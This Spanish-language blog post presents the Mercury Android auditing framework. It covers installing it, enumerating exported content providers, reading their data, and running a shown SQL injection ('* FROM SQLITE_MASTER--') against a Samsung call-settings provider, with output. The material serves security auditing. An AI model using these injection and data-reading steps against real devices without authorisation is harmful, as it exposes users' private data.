Una de las herramientas que más nos llamaron la atención de la BlackHat Europe la que presentó Tyrone Erasmus en su ponencia 'The Heavy Metal That Poisoned the Droid' (whitepaper y slides).
Se llama Mercury de MWR Labs y es un framework gratuito que ayudará a los "cazadores" de bugs a encontrar vulnerabilidades, escribir exploits PoC y, en definitiva, a jugar con Android.
Se trata de una herramienta que nos permitirá examinar de forma dinámica y a explotar las posibilidades de ataque de las aplicaciones que residen en un dispositivo Android. Se divide en dos partes: una aplicación servidor que requiere pocos privilegios y se instala en el teléfono y un cliente escrito en Python para interactuar con el servidor desde la línea de comandos.
CaracterísticasEl principal objetivo de Mercury es ser una herramienta de auditoría que pueda utilizarse con muchos propósitos. Algunas de sus características nos permitirán:
- Encontrar más fácilmente información relevante acerca de los vectores de ataque de una aplicación
- Interactuar con los 4 endpoints IPC (actividades, broadcast receivers, proveedores de contenido y servicios) de una aplicación desde la línea de comandos con el fin de encontrar vulnerabilidades
- Jugar con el sistema operativo Linux desde el punto de vista de una aplicación sin privilegios (sorprende lo mucho que se pueden ver)
- Encontrar información sobre los paquetes instalados con filtros de búsqueda opcionales que permiten un mejor control
- Subir y bajar ficheros sin usar ADB (¡esto incluye poder hacerlo a través de Internet también!)
- Escribir nuevos módulos con exploits para las vulnerabilidades encontradas por medio de una rango de comandos
predefinidos, y utilizar los módulos que otros hayan creado
Requisitos previos- Teléfono o emulador con Android 2.2 o superior
- PC con Linux y Python 2.7 – (el autocompletar de comandos no funciona en Windows)
Instalación- Descarga el zip desde aquí
http://labs.mwrinfosecurity.com/assets/254/mercury-v1.0.zip- Instala el servicio server/mercury.apk en el teléfono e inícialo:
- Arranca el cliente client/mercury.py en el PC
./mercury.py
- Conecta con el servidor Mercury:
Si tenemos conectado el teléfono al PC por USB o estamos usando un emulador, necesitaremos redireccionar el puerto 31415 (puedes hacerlo con el comando ‘adb forward tcp:31415 tcp:31415’)
Si nos vamos a conectar al teléfono por la red inalámbrica, necesitaremos obtener la IP del teléfono, en nuestro caso la 192.168.1.35
- Escribimos en el cliente "connect" seguido de la dirección IP del teléfono (127.0.0.1 si utilizamos un emulador o lo tenemos conectado por USB al PC)
mercury: connect 192.168.1.35
Commands - type help for more info
--------------------------------------------
activity broadcast help packages service tools
back debuggable modules provider shell
Empezando a jugar con Mercury
Cuando buscamos fugas de información en un dispositivo Android, los proveedores de contenido exportados son un buen comienzo. Dentro de la sección 'provider', con 'info -p null' obtendremos un listado de todos estos proveedores y sólo tendremos que ver aquellos que no requieran permisos para leerlos (Required Permission - Read: null o Required Permission - Write: null).
El desarrollador de una aplicación tiene que configurar específicamente 'android:readPermission' o 'android:permission' en el proveedor de contenidos dentro del fichero 'AndroidManifest.xml' si no quiere que la información sea accesible por otras aplicaciones del dispositivo. Si no lo hace, a veces no encontraremos información delicada y otras veces encontraremos datos que al desarrollador no le gustaría que leyéramos.
*mercury: provider
*mercury#provider: info -p null
Package name: com.sec.android.app.callsetting
Authority: com.sec.android.app.callsetting.allcalls
Required Permission - Read: null
Required Permission - Write: null
Grant Uri Permissions: false
Multiprocess allowed: false
Una vez que seleccionamos la aplicación objetivo, el siguiente paso será obtener las direcciones de sus contenedores (content URI). Para ello utilizaremos el comando 'finduri':
*mercury#provider: finduri com.sec.android.app.callsetting
/system/app/CallSetting.apk:
Contains no classes.dex
/system/app/CallSetting.odex:
content://com.sec.android.app.callsetting.allcalls/prefix_num
content://com.sec.android.app.callsetting.allcalls/reject_msg
content://com.sec.android.app.callsetting.allcalls/reject_num
Para mostrarnos esta información el comando finduri ha tenido que seguir los siguientes pasos para la enumeración:
- Encontrar la localización del fichero APK
- Descomprimir el fichero classes.dex situado dentro del APK (si no lo hubiera, buscaría los ODEX del paquete)
- Emplear código similar al string de UNIX para encontrar todas las cadenas válidas dentro del binario (fichero DEX u ODEX)
- Filtrar la salida final parseando las cadenas con content://.
Ahora que tenemos las direcciones de los contenedores, con query podemos leer su contenido. Por ejemplo:
*mercury#provider: query content://com.sec.android.app.callsetting.allcalls/reject_msg
_id | reject_message | edit_checked
.....
1 | Lo siento, estoy ocupado. LLámame más tarde | 2131165242
2 | Estoy en una reunión | 2131165243
3 | Estoy en clase | 2131165244
4 | Estoy en el cine | 2131165245
5 | Estoy conduciendo | 2131165246
E incluso realizar inyecciones SQL:
*mercury#provider> query content://com.sec.android.app.callsetting.allcalls/prefix_num --projection "'"
unrecognized token: "' FROM prefix_num": , while compiling: SELECT ' FROM prefix_num
*mercury#provider> query content://com.sec.android.app.callsetting.allcalls/prefix_num --projection "* FROM SQLITE_MASTER--"
type | name | tbl_name | rootpage | sql
.....
table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT)
table | prefix_num | prefix_num | 4 | CREATE TABLE prefix_num (_id INTEGER PRIMARY KEY AUTOINCREMENT, prefix_number TEXT NOT NULL,prefix_checked INTEGER)
table | sqlite_sequence | sqlite_sequence | 5 | CREATE TABLE sqlite_sequence(name,seq)
Mostrar Mensajes
